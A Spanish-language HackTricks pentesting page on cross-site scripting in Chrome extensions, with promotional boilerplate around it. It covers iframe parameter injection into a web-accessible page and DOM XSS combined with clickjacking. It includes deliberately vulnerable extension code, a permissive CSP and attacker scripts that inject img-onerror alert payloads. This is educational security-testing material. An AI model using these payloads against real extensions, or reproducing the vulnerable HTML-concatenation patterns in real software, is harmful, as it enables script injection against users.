hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

120 lines
7.4 KiB
Markdown

# BrowExt - Ejemplo de XSS
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Cross-Site Scripting (XSS) a través de Iframe
En esta configuración, se implementa un **script de contenido** para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
Una página HTML de acceso público, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento basado en los parámetros en la URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
Una Política de Seguridad de Contenido excesivamente permisiva como:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
Permite la ejecución de JavaScript, lo que hace que el sistema sea vulnerable a ataques XSS.
Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su origen para incluir el script dañino como el parámetro `content`:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## XSS basado en DOM + ClickJacking
Este ejemplo fue tomado del [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se añade al DOM utilizando la función `.append()` de jQuery.
Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con 'unsafe-eval'** y al uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible.
Aunque esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, introducir un payload XSS y activar el botón "Agregar".
Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una extensa política `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencionada.
## Referencias
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>